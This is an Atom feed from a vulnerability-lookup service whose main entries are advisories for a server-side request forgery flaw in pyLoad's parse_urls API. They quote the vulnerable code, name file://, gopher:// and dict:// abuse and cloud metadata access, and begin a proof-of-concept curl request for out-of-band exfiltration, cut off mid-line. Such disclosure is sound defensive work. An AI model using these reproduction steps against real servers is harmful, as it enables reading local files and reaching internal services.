<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-04T15:41:42.728619+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-280684</id>
    <title>EUVD-2026-280684</title>
    <updated>2026-10-04T15:41:42.797259+00:00</updated>
    <content>EUVD-2026-280684</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-280684"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-35187</id>
    <title>fkie_cve-2026-35187</title>
    <updated>2026-10-04T15:41:42.797298+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parse_urls API function in src/pyload/core/api/__init__.py fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-35187"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-2wvg-62qm-gj33</id>
    <title>GHSA-2wvg-62qm-gj33 — pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter</title>
    <updated>2026-10-04T15:41:42.797334+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: pyload-ng</p>
<p>## Vulnerability Details</p>
<p>**CWE-918**: Server-Side Request Forgery (SSRF)</p>
<p>The `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:</p>
<p>- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- **Read local files** via `file://` protocol (pycurl reads the file server-side)
- **Interact with internal services** via `gopher://` and `dict://` protocols
- **Enumerate file existence** via error-based oracle (error 37 vs empty response)</p>
<p>### Vulnerable Code</p>
<p>**`src/pyload/core/api/__init__.py` (line 556)**:</p>
<p>```python
def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))
```</p>
<p>No validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.</p>
<p>## Steps to Reproduce</p>
<p>### Setup</p>
<p>```bash
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
```</p>
<p>Log in as any user with ADD permission and extract the CSRF token:</p>
<p>```bash
CSRF=
```</p>
<p>### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)</p>
<p>```bash
curl -s -b "pyload_session_8000=&lt;SESSION&gt;"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http:/…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-2wvg-62qm-gj33"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/pysec-2026-2988</id>
    <title>PYSEC-2026-2988 — pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter</title>
    <updated>2026-10-04T15:41:42.797396+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: pyload-ng</p>
<p>## Vulnerability Details</p>
<p>**CWE-918**: Server-Side Request Forgery (SSRF)</p>
<p>The `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:</p>
<p>- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- **Read local files** via `file://` protocol (pycurl reads the file server-side)
- **Interact with internal services** via `gopher://` and `dict://` protocols
- **Enumerate file existence** via error-based oracle (error 37 vs empty response)</p>
<p>### Vulnerable Code</p>
<p>**`src/pyload/core/api/__init__.py` (line 556)**:</p>
<p>```python
def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))
```</p>
<p>No validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.</p>
<p>## Steps to Reproduce</p>
<p>### Setup</p>
<p>```bash
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
```</p>
<p>Log in as any user with ADD permission and extract the CSRF token:</p>
<p>```bash
CSRF=
```</p>
<p>### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)</p>
<p>```bash
curl -s -b "pyload_session_8000=&lt;SESSION&gt;"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http:/…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/pysec-2026-2988"/>
  </entry>
</feed>
